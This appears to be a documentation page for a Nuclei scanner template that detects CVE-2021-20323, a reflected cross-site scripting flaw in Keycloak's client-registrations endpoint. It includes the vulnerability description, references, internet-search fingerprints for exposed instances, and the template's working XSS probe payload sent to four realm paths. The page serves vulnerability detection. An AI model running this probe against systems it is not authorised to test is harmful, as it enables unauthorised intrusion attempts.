Keycloak 10.0.0 - 18.0.0 - Cross-Site Scripting
ID: CVE-2021-20323
Severity: medium
Author: ndmalc,incogbyte
Tags: cve2021,cve,keycloak,xss,redhat
Description
Section titled “Description”Keycloak 10.0.0 to 18.0.0 contains a cross-site scripting vulnerability via the client-registrations endpoint. On a POST request, the application does not sanitize an unknown attribute name before including it in the error response with a ‘Content-Type’ of text/hml. Once reflected, the response is interpreted as HTML. This can be performed on any realm present on the Keycloak instance. Since the bug requires Content-Type application/json and is submitted via a POST, there is no common path to exploit that has a user impact.
YAML Source
Section titled “YAML Source”id: CVE-2021-20323
info: name: Keycloak 10.0.0 - 18.0.0 - Cross-Site Scripting author: ndmalc,incogbyte severity: medium description: | Keycloak 10.0.0 to 18.0.0 contains a cross-site scripting vulnerability via the client-registrations endpoint. On a POST request, the application does not sanitize an unknown attribute name before including it in the error response with a 'Content-Type' of text/hml. Once reflected, the response is interpreted as HTML. This can be performed on any realm present on the Keycloak instance. Since the bug requires Content-Type application/json and is submitted via a POST, there is no common path to exploit that has a user impact. impact: | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information. remediation: | Upgrade Keycloak to a version that is not affected by the vulnerability (10.0.1 or higher). reference: - https://github.com/keycloak/keycloak/security/advisories/GHSA-m98g-63qj-fp8j - https://bugzilla.redhat.com/show_bug.cgi?id=2013577 - https://access.redhat.com/security/cve/CVE-2021-20323 - https://github.com/ndmalc/CVE-2021-20323 - https://github.com/keycloak/keycloak/commit/3aa3db16eac9b9ed8c5335ac86f5f50e0c68662d - https://nvd.nist.gov/vuln/detail/CVE-2021-20323 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2021-20323 cwe-id: CWE-79 epss-score: 0.00173 epss-percentile: 0.54333 cpe: cpe:2.3:a:redhat:keycloak:*:*:*:*:*:*:*:* metadata: verified: true max-request: 4 vendor: redhat product: keycloak shodan-query: - html:"Keycloak" - http.title:"keycloak" - http.html:"keycloak" - http.favicon.hash:-1105083093 fofa-query: - title="keycloak" - icon_hash=-1105083093 - body="keycloak" google-query: intitle:"keycloak" tags: cve2021,cve,keycloak,xss,redhat
http: - method: POST path: - "{{BaseURL}}/auth/realms/master/clients-registrations/default" - "{{BaseURL}}/auth/realms/master/clients-registrations/openid-connect" - "{{BaseURL}}/realms/master/clients-registrations/default" - "{{BaseURL}}/realms/master/clients-registrations/openid-connect"
body: "{\"Test<img src=x onerror=alert(document.domain)>\":1}" stop-at-first-match: true
headers: Content-Type: application/json
matchers-condition: and matchers: - type: word part: body words: - 'Unrecognized field "Test<img src=x onerror=alert(document.domain)>'
- type: word part: header words: - text/html
- type: status status: - 400# digest: 4a0a00473045022100d6c8c72067825f8d6ad845154a3de849a19809bf0f8f4b575475f47e11ecd63e02207cc2ef45a608ee3253e578a6d7e99ef64a15c252ea5c22b8a0caf701e24d8779:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-20323.yaml"